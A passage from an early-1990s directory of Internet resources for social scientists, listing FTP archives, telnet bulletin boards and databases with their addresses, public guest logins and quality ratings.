+CHARGES: none +NAME: Kauri Archive +ORGANISATION: Victoria University +LOCATION: New Zealand +ANONYMOUS FTP ADDRESS: kauri.vuw.ac.nz +SUB-DIRECTORY: etext/Literaure +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: ?/5 + Quality/depth of inf.: 5/5 + Freshness of inf.: ?/5 +COMMENTS: + * a large collection of books and documents [in the + etext format] from the world heritage list. Strong on poets + and British Victorian fiction. +LAST ACCESSED: Jan 1992 +-------------------------------------------------------------------------------- +SERVICE: Electronic Texts Archive +ACCESS: via INTERNET +CHARGES: none +NAME: Network Information Center +ORGANISATION: ?Univ.of Helsinki +LOCATION: Helsinki, Finland +ANONYMOUS FTP ADDRESS: nic.funet.fi +SUB-DIRECTORY: /pub/doc/Books +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 1/5 + Quality/depth of inf.: 2/5 + Freshness of inf.: ?/5 +COMMENTS: + * contains files with publications lists by 230 + individual Science Fiction authors (from D. Adams through + I. Calvino through S.Lem to A.vanVogt.) + LAST ACCESSED: Feb 1992 +-------------------------------------------------------------------------------- +SERVICE: Electronic Texts Archive +ACCESS: via INTERNET +CHARGES: none +NAME: Oxford Text Archive +ORGANISATION: Univ. of Oxford +LOCATION: Oxford, UK +ANONYMOUS FTP ADDRESS: ox.ac.uk , if access is a problem use address: 129.67.1.165 +SUB-DIRECTORY: ota +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 5/5 + Quality/depth of inf.: 5/5 + Freshness of inf.: n/a +COMMENTS: + *contains textarchive.sgml - a current + directory of several hundreds etexts (books & dictionaries) available + from the archive + * contains other info. documents +LAST ACCESSED: Apr 1992 +-------------------------------------------------------------------------------- +SERVICE: Electronic Texts Archive +ACCESS: via INTERNET +CHARGES: none +NAME: Project Gutenberg +ORGANISATION: Project Gutenberg at ? +LOCATION: Urbana, Ill., USA +ANONYMOUS FTP ADDRESS: mrcnext.cso.uiuc.edu +SUB-DIRECTORY: etext +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: ?/5 + Quality/depth of inf.: 5/5 + Freshness of inf.: 5/5 +COMMENTS: + * fast growing collection of books and documents [in the + etext format] from the world heritage list.The aim is to + provide 10,000 books in etext format by the year 2001. + *users are invited to deposit electronic versions of + non-copyrighted books with the Project. + *the archive contains a copy of the 1990 The CIA + World Factbook (world11.txt) -approx 2Mb of quality data + * for WAIS server with the texts see the entry on WAIS servers database +LAST ACCESSED: Jan 1992 +-------------------------------------------------------------------------------- +SERVICE: Genealogy Documents & Software Archive +ACCESS: via INTERNET +CHARGES: none +NAME: ? +ORGANISATION: ? +LOCATION: ?North Dakota, USA +ANONYMOUS FTP ADDRESS: vm1.nodak.edu +SUB-DIRECTORY: ROOTS-L +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 1/5 + Quality/depth of inf.: 4/5 + Freshness of inf.: 5/5 +COMMENTS: + * contains text files and docs relevant to modern + genealogical searches & studies. +* There also is a anonymous ftp site for genealogy + related files located at hallc1.cebaf.gov.That site is + primarily for the specialist software. However some text + files, particularly large ones may be found there + compressed into ZIP files. +LAST ACCESSED: Feb 1992 +-------------------------------------------------------------------------------- +SERVICE: Geography Documents & Software Archive +ACCESS: via INTERNET +CHARGES: none +NAME: ? +ORGANISATION: ? +LOCATION: Toronto, Canada +ANONYMOUS FTP ADDRESS: relay.cs.toronto.edu +SUB-DIRECTORY: doc/geography/world +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 2/5 + Quality/depth of inf.: 5/5 + Freshness of inf.: 5/5 +COMMENTS: + * contains text files about 249 individual countries covered + by the CIA WorldFactbook; directory /doc/geography/world + * contains maps of the countries and regions of the world provided + by the CIA ; directory/doc/geography/CIA_World_Map +LAST ACCESSED: Mar 1992 +-------------------------------------------------------------------------------- +SERVICE: Jewish Studies Documents & Software Archive +ACCESS: via INTERNET +CHARGES: none +NAME: +ORGANISATION: ITEX +LOCATION: Jerusalem, Israel +ANONYMOUS FTP ADDRESS: itex.jct.ac.il +SUB-DIRECTORY: pub +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 1/5 + Quality/depth of inf.: ?/5 + Freshness of inf.: ?/5 +COMMENTS: + *contains software and docs relevant to jewish culture + & hebrew studies (eg. calendars software, fonts etc) +LAST ACCESSED: Dec 1991 +-------------------------------------------------------------------------------- +SERVICE: History Documents Archive +ACCESS: via INTERNET +CHARGES: none +NAME: ? +ORGANISATION: Mississippi State University +LOCATION: USA +ANONYMOUS FTP ADDRESS: ra.msstate.edu +SUB-DIRECTORY: history, words-l +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 3/5 + Quality/depth of inf.: 4/5 + Freshness of inf.: 3/5 +COMMENTS: + *contains inf. about data-bases and electronic + archives of use to the historians + *contains several docs and papers (eg. on Vietnam war) + *contains info about e-journals and e-text collections. +LAST ACCESSED: Jan 1992 +-------------------------------------------------------------------------------- +SERVICE: Linguistics Documents & Software Archive +ACCESS: via INTERNET +CHARGES: none +NAME: ? +ORGANISATION: University of Michigan +LOCATION: USA +ANONYMOUS FTP ADDRESS: linguistics.archive.umich.edu +SUB-DIRECTORY: linguistics +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 2/5 + Quality/depth of inf.: ?/5 + Freshness of inf.: ?/5 +COMMENTS: + * contains a number of sub-directories: + fonts various fonts (mac, dos, next) of interest to linguists + handouts classroom problems, exams, information sheets, etc. + linguist.list back issues of LINGUIST mailing list + software programs of interest to linguists + * about the mid Feb 92 there was a possibility of the archive being + closed down +LAST ACCESSED: Feb 1992 +-------------------------------------------------------------------------------- +SERVICE: Networks Documents & Software Archive +ACCESS: via INTERNET +CHARGES: none +NAME: NSF Network Service Center +ORGANISATION: National Science Foundation Network +LOCATION: USA +ANONYMOUS FTP ADDRESS: nnsc.nsf.net +SUB-DIRECTORY: several sub-directories are relevant +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 1/5 + Quality/depth of inf.: 5/5 + Freshness of inf.: 4/5 +COMMENTS: + *sub-dir. /resource-guide contains network info docs. + *sub-dir. /internet-tour contains network info docs. + *sub-dir. /nsfnet contains network info docs. + LAST ACCESSED: Dec 1991 +-------------------------------------------------------------------------------- +SERVICE: Social Sciences Research Data Bank +ACCESS: via INTERNET +CHARGES: none +NAME: Coombspapers Data Bank +ORGANISATION: Research Schools of Pacific Studies and Social Science, + Aust. Nat. Univ. +LOCATION: Canberra, Australia +ANONYMOUS FTP ADDRESS: coombs.anu.edu.au +SUB-DIRECTORY: coombspapers +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 4/5 + Quality/depth of inf.: 4/5 + Freshness of inf.: 4/5 +COMMENTS: + * Mainly materials from Australia & Pacific Ocean region + * In Apr 1992 there vere 190+ files totalling approx 9.7 Mb of data. + * users of the Coombspapers Data Bank are invited to + deposit in the 'inboundpapers' sub-directory of the + facility electronic copies of their research papers, + directories, abstracts of theses, and other high-grade + research documents. + *The data bank acts as an Australian repository of + Buddhist (mainly Zen & Tibetan) as well as Taoist studies materials. +LAST ACCESSED: Apr 1992 +-------------------------------------------------------------------------------- +SERVICE: Soviet and East European Studies Data Library +ACCESS: via INTERNET (also accessible on-line via Telnet) +CHARGES: Internet $15/hour, CompuServe $25/hr (non-profit), $40/hr (corporate) +NAME: SOVSET +ORGANISATION: Center for Strategic & International Studies (CSIS) +LOCATION: Washinton, D.C., USA +FTP ADDRESS: sovset.org (it is NOT an anonymous FTP site, registered users only) +LOGIN NAME: - as agreed with the SOVSET administrators - +LOGIN PASSWORD: - as agreed with the SOVSET administrators- +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 4/5 + Quality/depth of inf.: 5/5 + Freshness of inf.: 5/5 +GATEWAY FACILITIES: no +COMMENTS: + Established 1984, now links more than 500 leading specialists around the world, + offers 32 computer conferences, a wide variety of holdings including many materials + not available elsewhere: + * Daily Reports of Radio Free Euroope and Radio Liberty + * Express Khronika (in English) + * SOVSET News - an electronic journal + * Commentary - an electronic column of commentaries on Soviet Politics + * PlanEcon Report - weekly summaries on the latest Sov. & East Eur. economies + * Eastern Europe Newsletter - highlights from a London biweekly publication + * Perspective - reports on foreign policy and business published by + Center fo Foreign Policy development at Brown University. + * Phonebook - a phone and address direct. for Moscow and elsewhere + * e-mail enquiries to: SUPPORT@sovset.org + * correspondence to: Sarah C. Helmstadter, Executive Director, SOVSET, + CSIS, 1800 K St. NW, Suite 400, Washington, DC USA 20006, + Tel. (202) 775-3257, Fax (202) 775-3199 + LAST ACCESSED: Mar 1992 +-------------------------------------------------------------------------------- +SERVICE: University of Maryland Info. Data Base Archive +ACCESS: via INTERNET +CHARGES: none +NAME: +ORGANISATION: University of Maryland +LOCATION: USA +ANONYMOUS FTP ADDRESS: info.umd.edu +SUB-DIRECTORY: a number of subdirectories are relevent here +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 3/5 + Quality/depth of inf.: 3/5 + Freshness of inf.: ?4/5 +GATEWAY FACILITIES: no +COMMENTS: + * contents: economic data - US & Int'l; ethnomusicology newsletters; + text of the US Constitution; text of the Bible, Koran and the Book of Mormon; + 1990 CIA World FactBook + * allinf. is also available as an online database (see the Database entry below) + LAST ACCESSED: Feb 1992 +-------------------------------------------------------------------------------- +SERVICE: US Supreme Court Rulings Archive +ACCESS: via INTERNET +CHARGES: none +NAME: Project Hermes +ORGANISATION: Case Western Reserve University +LOCATION: Cleveland, Ohio, USA +ANONYMOUS FTP ADDRESS: ftp.cwru.edu +SUB-DIRECTORY: hermes +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 1/5 + Quality/depth of inf.: 5/5 + Freshness of inf.: 5/5 +COMMENTS: + * contains text files of complete Supreme Court Rulings since 11 May 1990 + *an experimental project, may not be continued past May 1992 +LAST ACCESSED: Feb 1992 +================================================================================ +BULLETIN BOARDS +================================================================================ +SERVICE: Bulletin Board +ACCESS: via INTERNET +CHARGES: none +NAME: APA: The Electronic Agora +ORGANISATION: American Philosophical Association +LOCATION: California, USA +TELNET ADDRESS: atl.calstate.edu +LOGIN PASSWORD: apa +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 1/5 + Quality/depth of inf.: 4/5 + Freshness of inf.: 4/5 +GATEWAY FACILITIES: no +COMMENTS: + *The bulletin board contains a long list (50+ items) of + machine-readable texts (i.e. electronic files) of + significance to philosophical research (see main menu + item [7]: Directories and computer resources) +LAST ACCESSED: Apr 1992 +-------------------------------------------------------------------------------- +SERVICE: Bulletin Board +ACCESS: via INTERNET +CHARGES: none +NAME: CARL +ORGANISATION: Colorado Alliance of Research Libraries +LOCATION: Colorado, USA +TELNET ADDRESS: pac.carl.org +LOGIN PASSWORD: not needed +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 4/5 + Quality/depth of inf.: 4/5 + Freshness of inf.: ?/5 +GATEWAY FACILITIES: yes + link to: online Grolier Acad. Amer. Encycl. (password required) + link to: online Choice Book Reviews database + link to: online Internet Resource Guide database +COMMENTS: +none +LAST ACCESSED: Jan 1992 +-------------------------------------------------------------------------------- +SERVICE: Bulletin Board +ACCESS: via INTERNET +CHARGES: none +NAME: +ORGANISATION: Case Western Reserve University +LOCATION: Cleveland, Ohio, USA +TELNET ADDRESS: freenet-in-a.cwru.edu +LOGIN PASSWORD: not needed +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 4/5 + Quality/depth of inf.: 4/5 + Freshness of inf.: 5/5 +GATEWAY FACILITIES: ? +COMMENTS: + * A number of bulletin boards of various schools and depts. is + available via a well run menu + * Also offers USA Today Headline News +LAST ACCESSED: Feb 1992 +-------------------------------------------------------------------------------- +SERVICE: Bulletin Board +NETWORK: via INTERNET +CHARGES: none +NAME: CERN +ORGANISATION: European Center for Nuclear Research +LOCATION: Geneva, Switzerland +TELNET ADDRESS: info.cern.ch +LOGIN PASSWORD: not needed +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 1/5 [with ARCHIE services it is 5/5] + Quality/depth of inf.: 4/5 + Freshness of inf.: 5/5 +GATEWAY FACILITIES: yes + link to: Helsinki Tech. Univ. bulletin board (mostly in Finnish) +COMMENTS: +none + * also acts as an ARCHIE data base - option [17] + * also acts as an WAIS data baseof WAIS inf. sources - option [19] +LAST ACCESSED: Apr 1992 +-------------------------------------------------------------------------------- +SERVICE: Bulletin Board +ACCESS: via INTERNET +CHARGES: none +NAME: Clemson Univ. Forestry & Argricultural Network +ORGANISATION: Clemson Univ. +LOCATION: USA +TELNET ADDRESS: eureca.clemson.edu +LOGIN PASSWORD: PUBLIC +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 1/5 + Quality/depth of inf.: 2/5 + Freshness of inf.: ?/5 +GATEWAY FACILITIES: ? none +COMMENTS: + * requires the use of function keys (= not suitable for the Mac users) + * menu-driven , to return to a higher level menu use F3 key + * inf. provided on weather, economics, plants, animals (incl. pets), + food, home & environment, family and youth, human resources. + * Inf. primarely related to the needs of Southeastern US. +LAST ACCESSED: Feb 1992 +-------------------------------------------------------------------------------- +SERVICE: Bulletin Board +ACCESS: via INTERNET +CHARGES: none +NAME: History News +ORGANISATION: History & Computing, Univ. of Glasgow +LOCATION: Glasgow, UK +TELNET ADDRESS: sun.nsf.ac.uk +LOGIN PASSWORD: janet THEN uk.ac.glasgow.history.news +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 3/5 + Quality/depth of inf.: 5/5 + Freshness of inf.: 3/5 +GATEWAY FACILITIES: no +COMMENTS: + * also deals with archeology, art history + * good coverage of software suitable for hist. research + * extensive guide (314 items) to electronic historical + data sets +LAST ACCESSED: Feb 1992 +-------------------------------------------------------------------------------- +SERVICE: Bulletin Board +ACCESS: via INTERNET +CHARGES: none +NAME: HUMBUL - Humanities Bulletin +ORGANISATION: Univ. of Oxford +LOCATION: Oxford, UK +TELNET ADDRESS: sun.nsf.ac.uk +LOGIN PASSWORD: janet THEN uk.ac.humbul +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 5/5 + Quality/depth of inf.: 4/5 + Freshness of inf.: 5/5 +GATEWAY FACILITIES: no +COMMENTS: + * requires first time-user to register on-line with the + HUMBUL +LAST ACCESSED: Feb 1992 +-------------------------------------------------------------------------------- +SERVICE: Bulletin Board +ACCESS: via INTERNET +CHARGES: none +NAME: Hytelnet Server +ORGANISATION: Univ. of Saskatchewan +LOCATION: Saskatchewan, Canada +TELNET ADDRESS: herald.usask.ca +LOGIN PASSWORD: hytelnet + then select "Other telnet-accessible sites " + then select "Full-Text Databases and Bibliographies" +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 4/5 + Quality/depth of inf.: 3/5 + Freshness of inf.: 4/5 +GATEWAY FACILITIES: no +COMMENTS: + * for navigation use the arrow keys + * good register of telnet addresses (29 items) of on-line + full-text databases and bibliographies +LAST ACCESSED: Feb 1992 +-------------------------------------------------------------------------------- +SERVICE: Bulletin Board +ACCESS: via INTERNET +CHARGES: none +NAME: JANET NEWS SYSTEM +ORGANISATION: Joint Academic Network +LOCATION: ?, UK +TELNET ADDRESS: sun.nsf.ac.uk +LOGIN PASSWORD: janet THEN uk.ac.janet.news THEN news +RELEVANCE TO SOC. SCIENCES (at the time of the latest version of this doc.) + Range/variety of inf.: 4/5 + Quality/depth of inf.: 3/5 + Freshness of inf.: 4/5 +GATEWAY FACILITIES: no +COMMENTS: + none +LAST ACCESSED: Nov 1991 +-------------------------------------------------------------------------------- +SERVICE: Bulletin Board +ACCESS: via INTERNET +CHARGES: none +NAME: Network Information Service +ORGANISATION: Univ. of Leicester +LOCATION: Leicester, UK +TELNET ADDRESS: sun.nsf.ac.uk +LOGIN PASSWORD: janet THEN uk.ac.le.info +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 3/5 + Quality/depth of inf.: 3/5 + Freshness of inf.: 4/5 +GATEWAY FACILITIES: no +COMMENTS: + none +LAST ACCESSED: Nov 1991 +-------------------------------------------------------------------------------- +SERVICE: Bulletin Board +ACCESS: via INTERNET +CHARGES: none +NAME: NISS +ORGANISATION: National Inst. for Software & Services +LOCATION: Bath Univ, UK +TELNET ADDRESS: sun.nsf.ac.uk +LOGIN PASSWORD: janet THEN uk.ac.niss +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 3/5 + Quality/depth of inf.: 3/5 + Freshness of inf.: 4/5 +GATEWAY FACILITIES: no ? +COMMENTS: + none +LAST ACCESSED: Nov 1991 +-------------------------------------------------------------------------------- +SERVICE: Bulletin Board +ACCESS: via INTERNET +CHARGES: none +NAME: NISSPAC +ORGANISATION: National Inst. for Software & Services +LOCATION: UK +TELNET ADDRESS: sun.nsf.ac.uk +LOGIN PASSWORD: janet THEN uk.ac.niss.pac + at the "." prompt typeLOGON NISSCAT +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 1/5 + Quality/depth of inf.: 3/5 + Freshness of inf.: 1/5 +GATEWAY FACILITIES: no ? +COMMENTS: + * has inf. on machine readible data sets - eg. results of the 1883-1905 + demographical data of electors in Norway +LAST ACCESSED: Feb 1992 +-------------------------------------------------------------------------------- +SERVICE: Bulletin Board +ACCESS: via INTERNET +CHARGES: none +NAME: PENPages +ORGANISATION: Agricultural College, Penn. State Univ. & Ruthers Univ. +LOCATION: USA +TELNET ADDRESS: psupen.psu.edu. +LOGIN PASSWORD: pnotpa +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 1/5 + Quality/depth of inf.: ?/5 + Freshness of inf.: 5/5 +GATEWAY FACILITIES: yes + link to: MAPP, INFAN and Argricultural & Market Databases +COMMENTS: + none +LAST ACCESSED: Dec 1991 +================================================================================ +DATA BASES +================================================================================ +SERVICE: Alcoholism Research Data Base +ACCESS: via INTERNET +CHARGES: none +NAME: CORK - Project CORK collection on alcoholism and + substance abuse +ORGANISATION: DartmouthCollege Library Online System +LOCATION: Dartmouth, New Hampshire, USA +TELNET ADDRESS: lib.dartmouth.edu +LOGIN PASSWORD: not needed + upon login type SELECT FILE CORK services +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 2/5 + Quality/depth of inf.: ?/5 + Freshness of inf.: ?/5 +GATEWAY FACILITIES: yes + link to: On line Shakespeare Plays (33 plays)(command SELECT FILE + SHAKESPEARE PLAYS) + link to: On line Shakespeare Sonnets (all 154)(command SELECT FILE + SHAKESPEARE SONNETS) + link to: On line Dante Project Database (command CONNECT DANTE) + link to: Dartmouth College Library system +COMMENTS: + *Users need to spend some time working out peculiarities of + this and other Dartmouth databases. +LAST ACCESSED: Feb 1992 +-------------------------------------------------------------------------------- +SERVICE: Agricultural Data Base +ACCESS: via INTERNET +CHARGES: none +NAME: Agricultural & Market Data +ORGANISATION: Agricultural College, Penn. State Univ. & Ruthers Univ. +LOCATION: USA +TELNET ADDRESS: psupen.psu.edu. +LOGIN PASSWORD: pnotpa +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 2/5 + Quality/depth of inf.: 4/5 + Freshness of inf.: 5/5 +COMMENTS: + *Access via the PENpages Bulletin Board. Mainly US + numeric farming data. + * daily updated information +LAST ACCESSED: Dec 1991 +-------------------------------------------------------------------------------- +SERVICE: Arizona State University Data Bases +ACCESS: via INTERNET +CHARGES: none +NAME: +ORGANISATION: Arizona State University +LOCATION: Colorado, USA +TELNET ADDRESS: carl.lib.asu.edu +LOGIN PASSWORD: CARL + upon login choose the required option +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 2/5 + Quality/depth of inf.: 3/5 + Freshness of inf.: ?/5 +GATEWAY FACILITIES: yes (see comments below) +COMMENTS: + *a number of data bases are available: + incl. Arizona and Soutwest Index, Arizona Statistics, ASU Newspaper Index, + World Maps Index, Solar Energy Index, Song Index (popular), National + Indian Education Clearinghouse Resource Center Directory, University + Library holdings +LAST ACCESSED: Feb 1992 +-------------------------------------------------------------------------------- +SERVICE: Book Reviews Data Base +ACCESS: via INTERNET +CHARGES: none +NAME: Choice Book Reviews +ORGANISATION: Colorado Alliance of Research Libraries +LOCATION: Colorado, USA +TELNET ADDRESS: pac.carl.org +LOGIN PASSWORD: not needed + upon login choose option #3 THEN choose option #60 +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 5/5 + Quality/depth of inf.: 4/5 + Freshness of inf.: 4/5 +GATEWAY FACILITIES: yes + link to: online Grolier Acad. Amer. Encycl. (paswd required) + link to:online Internet Resource Guide database + link to: CARL Bulletin Board +COMMENTS: + *Users can contribute book reviews to the continuously + growing database. +LAST ACCESSED: Mar 1992 +-------------------------------------------------------------------------------- +SERVICE: Canadian & North American Data Bases +ACCESS: via INTERNET +CHARGES: none +NAME: +ORGANISATION: Univ. of Saskatchewan +LOCATION: Saskatchewan, Canada +TELNET ADDRESS: sklib.usask.ca +LOGIN PASSWORD: SONIA + upon login choose appropriate option (see comments below) +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 5/5 + Quality/depth of inf.: 5/5 + Freshness of inf.: ?/5 +GATEWAY FACILITIES: yes (see comments below) +COMMENTS: + *a number of data bases are available: + 1:U of S Government Publications (In Progress) + 2:Special Collections - Canadiana Pamphlets + 3:Special Collections - Theses + 4:University Archives + 5:CIHM - Early Canadiana + 6:History of Photography + 7:Landmarks of Science + 8:American Periodical Series - 18th Century + 9:CIJE plus RIE: 1983 to Present (Education) + 10:Canadian Business and Current Affairs (CBCA) - 1982 to Present + 11:U of S Online Catalogue (GEAC). +LAST ACCESSED: Feb 1992 +-------------------------------------------------------------------------------- +SERVICE: Dante Poetry and Commentaries Data Base +ACCESS: via INTERNET +CHARGES: none +NAME: Project Dante +ORGANISATION: DartmouthCollege Library Online System +LOCATION: Dartmouth, New Hampshire, USA +TELNET ADDRESS: library.dartmouth.edu +LOGIN PASSWORD: not needed + upon login type CONNECT DANTE +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 1/5 + Quality/depth of inf.: 5/5 + Freshness of inf.: ?/5 +GATEWAY FACILITIES: yes + link to: On line Shakespeare Plays (33 plays)(command SELECT FILE + SHAKESPEARE PLAYS) + link to: On line Shakespeare Sonnets (all 154)(command SELECT FILE + SHAKESPEARE SONNETS) + link to: On line Project CORK alcoholism Database (command SELECT FILE CORK) + link to: Dartmouth College Library system +COMMENTS: + + * Contains multilingual (Italian, Lating, English and other lang. materials + pertaining to Dante's Divine Comedy (Inferno, Purgatory & Paradise books) + *Users need to spend some time working out peculiarities of this + and other Dartmouth databases. +LAST ACCESSED: Mar 1992 +-------------------------------------------------------------------------------- +SERVICE: Dictionary & Thesaurus Data Bases +ACCESS: via INTERNET +CHARGES: none +NAME: Rutgers University Info. System +ORGANISATION: Rutgers University +LOCATION: USA +TELNET ADDRESS: info.rutgers.edu +LOGIN PASSWORD: not needed + upon login choose option REFERENCE +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 1/5 + Quality/depth of inf.: 5/5 + Freshness of inf.: 5/5 +GATEWAY FACILITIES: yes + link to: 1990 CIA World Factbook +COMMENTS: + *Three very fast data bases are available: + 1. 1991 Oxford Dictionary + 2. Oxford Thesaurus + 3. Oxford Dictionary of Familiar and Modern Quotations + * for WAIS server with 1911 Rogets thesaurus see the entry on WAIS + servers database +LAST ACCESSED: Apr 1992 +-------------------------------------------------------------------------------- +SERVICE: Family Studies Data Base +ACCESS: via INTERNET +CHARGES: none +NAME: MAPP - National Family Database +ORGANISATION: Agricultural College, Penn. State Univ. & Ruthers Univ. +LOCATION: USA +TELNET ADDRESS: psupen.psu.edu. +LOGIN PASSWORD: pnotpa +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 2/5 + Quality/depth of inf.: 4/5 + Freshness of inf.: 3/5 +COMMENTS: + *Access via the PENpages Bulletin Board. Full text + database. Mainly US family sociological and health data. + *Users are invited to contribute articles to the + continuously growing database. +LAST ACCESSED: Dec 1991 +-------------------------------------------------------------------------------- +SERVICE: Food & Nutrition Data Base +ACCESS: via INTERNET +CHARGES: none +NAME: INFAN - International Food and Nutrition Database +ORGANISATION: Agricultural College, Penn. State Univ. & Ruthers Univ. +LOCATION: USA +TELNET ADDRESS: psupen.psu.edu. +LOGIN PASSWORD: pnotpa +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 2/5 + Quality/depth of inf.: 4/5 + Freshness of inf.: ?/5 +COMMENTS: + *Access via the PENpages Bulletin Board. Full text + database. Mainly US nutrition, health and food data. + *Users are invited to contribute articles to the + continuously growing database. +LAST ACCESSED: Dec 1991 +-------------------------------------------------------------------------------- +SERVICE: Geographical Data Base +ACCESS: via INTERNET +CHARGES: none +NAME: Geographic Name Server +ORGANISATION: Univ. of Michigan +LOCATION: USA +TELNET ADDRESS: martini.eecs.umich.edu 3000 +LOGIN PASSWORD: [on login - type 'help' ] +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 1/5 + Quality/depth of inf.: 2/5 + Freshness of inf.: n/a +COMMENTS: + *The server provides basic geographic data on world- + wide geographic locations [e.g. New York, Paris etc]. + *Most complete coverage is for the USA locations. +LAST ACCESSED: Dec 1991 +-------------------------------------------------------------------------------- +SERVICE: Hawaian Islands Data Base +ACCESS: via INTERNET +CHARGES: none +NAME: Hawaii Data Book (1991) +ORGANISATION: Univ. of Hawaii +LOCATION: Honolulu, Hawaii, USA +TELNET ADDRESS: starmaster.uhcc.hawaii.edu +LOGIN PASSWORD: lib + upon login choose option #3 THEN choose option #34 +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 2/5 + Quality/depth of inf.: 4/5 + Freshness of inf.: ?/5 +GATEWAY FACILITIES: yes + link to: online catalogue of Univ of Hawaii Library + link to: UNCOVER journal articles data base + link to: Hawaian/Pacific UNCOVER journal articles data base + link to: Trust Territory of Pacific data base +COMMENTS: + * mainly numeric data +LAST ACCESSED: Dec 1991 +-------------------------------------------------------------------------------- +SERVICE: Hawaian Periodicals Data Base +ACCESS: via INTERNET +CHARGES: none +NAME: Hawaian/Pacific UNCOVER journal article access +ORGANISATION: Univ. of Hawaii +LOCATION: Honolulu, Hawaii, USA +TELNET ADDRESS: starmaster.uhcc.hawaii.edu +LOGIN PASSWORD: lib + upon login choose option #3 THEN choose option #34 +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 5/5 + Quality/depth of inf.: 2/5 + Freshness of inf.: 5/5 +GATEWAY FACILITIES: yes + link to: online catalogue of Univ of Hawaii Library + link to: UNCOVER journal articles data base + link to: Hawaii Data Book (1991) data base + link to: Trust Territory of Pacific data base +COMMENTS: + none +LAST ACCESSED: Dec 1991 +-------------------------------------------------------------------------------- +SERVICE: Internet Anonymous FTP Data Base +ACCESS: via INTERNET +CHARGES: none +NAME: ARCHIE +ORGANISATION: Deakin Univ., Geelong +LOCATION: Australia +TELNET ADDRESS: archie.au +LOGIN PASSWORD: archie [on login - type 'help' ] +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 5/5 + Quality/depth of inf.: 1/5 + Freshness of inf.: 5/5 +COMMENTS: + *A world-wide database of contents of 1030+ftp + archive sites + *The Deakin site shadows the central archie archive at + McGill Univ, Montreal, Canada + *Information is available on sites, filenames and file + contents [commands: SITE , PROG , + WHATIS , when lost type HELP] + * List of current Archies sites (as on 12/Feb/92): + archie.ans.net (USA [NY]) + archie.rutgers.edu (USA [NJ]) + archie.sura.net (USA [MD]) + archie.unl.net (USA [NE]) - password : archie1 + archie.mcgill.ca (Canada) + archie.funet.fi (Finland/Mainland Europe) + archie.doc.ic.ac.uk (UK/Ireland) + archie.au (Australia/New Zealand) + sc.huji.ac.il (Israel) + * NOTE since Feb 92 archie.au dbase contains LESS information + than archie.mcgill.ca (Canada) and attempts to notify archie.au + about the problem are consistently ignored. + * Archie services also available via the CERN Bulletin Board +LAST ACCESSED: Apr 1992 +-------------------------------------------------------------------------------- +SERVICE: Internet Resource Guide Database +ACCESS: via INTERNET +CHARGES: none +NAME: CARL +ORGANISATION: Colorado Alliance of Research Libraries +LOCATION: Colorado, USA +TELNET ADDRESS: pac.carl.org +LOGIN PASSWORD: not needed + upon login choose option #3 THEN choose option #65 +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 4/5 + Quality/depth of inf.: 4/5 + Freshness of inf.: 2/5 +GATEWAY FACILITIES: yes + link to: online Grolier Acad. Amer. Encycl. (password required) + link to: online Choice Book Reviews database + link to: CARL Bulletin Board +COMMENTS: + * uses 1990 edition of the IRG document + * keyword search +LAST ACCESSED: Feb 1992 +-------------------------------------------------------------------------------- +SERVICE: Periodicals Contents Data Base +ACCESS: via INTERNET +CHARGES: none +NAME: Meeman Environmental Journalism Archive +ORGANISATION: University of Michigan +LOCATION: USA +TELNET ADDRESS: hermes.merit.edu +LOGIN PASSWORD: Host: MIRLYN, Terminal: VT100 + upon login choose option MEEM 